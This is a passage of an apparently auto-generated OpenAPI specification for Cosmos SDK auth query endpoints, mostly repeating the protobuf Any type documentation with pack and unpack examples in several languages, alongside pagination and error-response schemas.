Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and | |
the unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will | |
yield type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a | |
custom JSON | |
representation, that representation will be embedded | |
adding a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
account_number: | |
type: string | |
format: uint64 | |
sequence: | |
type: string | |
format: uint64 | |
description: |- | |
QueryAccountInfoResponse is the Query/AccountInfo response type. | |
Since: cosmos-sdk 0.47 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: address | |
description: address is the account address string. | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/accounts: | |
get: | |
summary: Accounts returns all the existing accounts. | |
description: >- | |
When called from another module, this query might consume a high amount | |
of | |
gas if the pagination field is incorrectly set. | |
Since: cosmos-sdk 0.43 | |
operationId: Accounts | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
accounts: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
title: accounts are the existing accounts | |
pagination: | |
description: pagination defines the pagination in the response. | |
type: object | |
properties: | |
next_key: | |
type: string | |
format: byte | |
description: |- | |
next_key is the key to be passed to PageRequest.key to | |
query the next page most efficiently. It will be empty if | |
there are no more results. | |
total: | |
type: string | |
format: uint64 | |
title: >- | |
total is total number of results available if | |
PageRequest.count_total | |
was set, its value is undefined otherwise | |
description: >- | |
QueryAccountsResponse is the response type for the Query/Accounts | |
RPC method. | |
Since: cosmos-sdk 0.43 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: pagination.key | |
description: |- | |
key is a value returned in PageResponse.next_key to begin | |
querying the next page most efficiently. Only one of offset or key | |
should be set. | |
in: query | |
required: false | |
type: string | |
format: byte | |
- name: pagination.offset | |
description: >- | |
offset is a numeric offset that can be used when key is unavailable. | |
It is less efficient than using key. Only one of offset or key | |
should | |
be set. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.limit | |
description: >- | |
limit is the total number of results to be returned in the result | |
page. | |
If left empty it will default to a value to be set by each app. | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
- name: pagination.count_total | |
description: >- | |
count_total is set to true to indicate that the result set should | |
include | |
a count of the total number of items available for pagination in | |
UIs. | |
count_total is only respected when offset is used. It is ignored | |
when key | |
is set. | |
in: query | |
required: false | |
type: boolean | |
- name: pagination.reverse | |
description: >- | |
reverse is set to true if results are to be returned in the | |
descending order. | |
Since: cosmos-sdk 0.43 | |
in: query | |
required: false | |
type: boolean | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/accounts/{address}: | |
get: | |
summary: Account returns account details based on address. | |
operationId: AuthAccount | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
account: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at least | |
one "/" character. The last segment of the URL's path must | |
represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in a | |
canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary all | |
types that they | |
expect it to use in the context of Any. However, for URLs | |
which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in the | |
official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer message | |
along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values in | |
the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by default | |
use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the last | |
'/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with an | |
additional field `@type` which contains the type URL. Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding a | |
field | |
`value` which holds the custom JSON in addition to the `@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
description: >- | |
QueryAccountResponse is the response type for the Query/Account | |
RPC method. | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: address | |
description: address defines the address to query for. | |
in: path | |
required: true | |
type: string | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/address_by_id/{id}: | |
get: | |
summary: AccountAddressByID returns account address based on account number. | |
description: 'Since: cosmos-sdk 0.46.2' | |
operationId: AccountAddressByID | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
account_address: | |
type: string | |
description: 'Since: cosmos-sdk 0.46.2' | |
title: >- | |
QueryAccountAddressByIDResponse is the response type for | |
AccountAddressByID rpc method | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
parameters: | |
- name: id | |
description: |- | |
Deprecated, use account_id instead | |
id is the account number of the address to be queried. This field | |
should have been an uint64 (like all account numbers), and will be | |
updated to uint64 in a future version of the auth query. | |
in: path | |
required: true | |
type: string | |
format: int64 | |
- name: account_id | |
description: |- | |
account_id is the account number of the address to be queried. | |
Since: cosmos-sdk 0.47 | |
in: query | |
required: false | |
type: string | |
format: uint64 | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/bech32: | |
get: | |
summary: Bech32Prefix queries bech32Prefix | |
description: 'Since: cosmos-sdk 0.46' | |
operationId: Bech32Prefix | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
bech32_prefix: | |
type: string | |
description: >- | |
Bech32PrefixResponse is the response type for Bech32Prefix rpc | |
method. | |
Since: cosmos-sdk 0.46 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
Foo foo = ...; | |
Any any; | |
any.PackFrom(foo); | |
... | |
if (any.UnpackTo(&foo)) { | |
... | |
} | |
Example 2: Pack and unpack a message in Java. | |
Foo foo = ...; | |
Any any = Any.pack(foo); | |
... | |
if (any.is(Foo.class)) { | |
foo = any.unpack(Foo.class); | |
} | |
Example 3: Pack and unpack a message in Python. | |
foo = Foo(...) | |
any = Any() | |
any.Pack(foo) | |
... | |
if any.Is(Foo.DESCRIPTOR): | |
any.Unpack(foo) | |
... | |
Example 4: Pack and unpack a message in Go | |
foo := &pb.Foo{...} | |
any, err := anypb.New(foo) | |
if err != nil { | |
... | |
} | |
... | |
foo := &pb.Foo{} | |
if err := any.UnmarshalTo(foo); err != nil { | |
... | |
} | |
The pack methods provided by protobuf library will by | |
default use | |
'type.googleapis.com/full.type.name' as the type URL and the | |
unpack | |
methods only use the fully qualified type name after the | |
last '/' | |
in the type URL, for example "foo.bar.com/x/y.z" will yield | |
type | |
name "y.z". | |
JSON | |
The JSON representation of an `Any` value uses the regular | |
representation of the deserialized, embedded message, with | |
an | |
additional field `@type` which contains the type URL. | |
Example: | |
package google.profile; | |
message Person { | |
string first_name = 1; | |
string last_name = 2; | |
} | |
{ | |
"@type": "type.googleapis.com/google.profile.Person", | |
"firstName": <string>, | |
"lastName": <string> | |
} | |
If the embedded message type is well-known and has a custom | |
JSON | |
representation, that representation will be embedded adding | |
a field | |
`value` which holds the custom JSON in addition to the | |
`@type` | |
field. Example (for message [google.protobuf.Duration][]): | |
{ | |
"@type": "type.googleapis.com/google.protobuf.Duration", | |
"value": "1.212s" | |
} | |
tags: | |
- Query | |
/cosmos/auth/v1beta1/bech32/{address_bytes}: | |
get: | |
summary: AddressBytesToString converts Account Address bytes to string | |
description: 'Since: cosmos-sdk 0.46' | |
operationId: AddressBytesToString | |
responses: | |
'200': | |
description: A successful response. | |
schema: | |
type: object | |
properties: | |
address_string: | |
type: string | |
description: >- | |
AddressBytesToStringResponse is the response type for | |
AddressString rpc method. | |
Since: cosmos-sdk 0.46 | |
default: | |
description: An unexpected error response. | |
schema: | |
type: object | |
properties: | |
error: | |
type: string | |
code: | |
type: integer | |
format: int32 | |
message: | |
type: string | |
details: | |
type: array | |
items: | |
type: object | |
properties: | |
type_url: | |
type: string | |
description: >- | |
A URL/resource name that uniquely identifies the type of | |
the serialized | |
protocol buffer message. This string must contain at | |
least | |
one "/" character. The last segment of the URL's path | |
must represent | |
the fully qualified name of the type (as in | |
`path/google.protobuf.Duration`). The name should be in | |
a canonical form | |
(e.g., leading "." is not accepted). | |
In practice, teams usually precompile into the binary | |
all types that they | |
expect it to use in the context of Any. However, for | |
URLs which use the | |
scheme `http`, `https`, or no scheme, one can optionally | |
set up a type | |
server that maps type URLs to message definitions as | |
follows: | |
* If no scheme is provided, `https` is assumed. | |
* An HTTP GET on the URL must yield a | |
[google.protobuf.Type][] | |
value in binary format, or produce an error. | |
* Applications are allowed to cache lookup results based | |
on the | |
URL, or have them precompiled into a binary to avoid any | |
lookup. Therefore, binary compatibility needs to be preserved | |
on changes to types. (Use versioned type names to manage | |
breaking changes.) | |
Note: this functionality is not currently available in | |
the official | |
protobuf release, and it is not used for type URLs | |
beginning with | |
type.googleapis.com. | |
Schemes other than `http`, `https` (or the empty scheme) | |
might be | |
used with implementation specific semantics. | |
value: | |
type: string | |
format: byte | |
description: >- | |
Must be a valid serialized protocol buffer of the above | |
specified type. | |
description: >- | |
`Any` contains an arbitrary serialized protocol buffer | |
message along with a | |
URL that describes the type of the serialized message. | |
Protobuf library provides support to pack/unpack Any values | |
in the form | |
of utility functions or additional generated methods of the | |
Any type. | |
Example 1: Pack and unpack a message in C++. | |
